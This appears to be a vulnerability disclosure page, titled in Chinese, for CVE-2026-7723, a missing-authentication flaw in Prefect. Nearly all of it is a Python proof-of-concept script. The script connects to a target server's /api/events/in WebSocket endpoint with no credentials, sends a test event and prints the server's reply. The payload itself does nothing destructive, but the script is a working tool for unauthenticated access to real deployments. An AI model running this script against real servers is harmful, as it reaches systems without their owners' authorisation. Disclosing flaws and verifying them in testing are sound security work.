CVE-2026-7723: Prefect身份验证缺失漏洞

import asyncio import websockets import json async def send_unauthenticated_event(target_url): """ Proof of Concept for CVE-2026-7723 Demonstrates sending data to the vulnerable WebSocket endpoint without authentication. """ # Construct the vulnerable endpoint path full_url = f"{target_url}/api/events/in" malicious_payload = { "event": "test", "data": "unauthenticated_access" } try: # Connect to the WebSocket endpoint (No headers or tokens required) async with websockets.connect(full_url) as websocket: print(f"[+] Connected to {full_url}") # Send the payload await websocket.send(json.dumps(malicious_payload)) print(f"[+] Payload sent: {malicious_payload}") # Optional: Receive response response = await websocket.recv() print(f"[+] Server response: {response}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual target address target = "ws://<TARGET_IP>:<PORT>" asyncio.run(send_unauthenticated_event(target))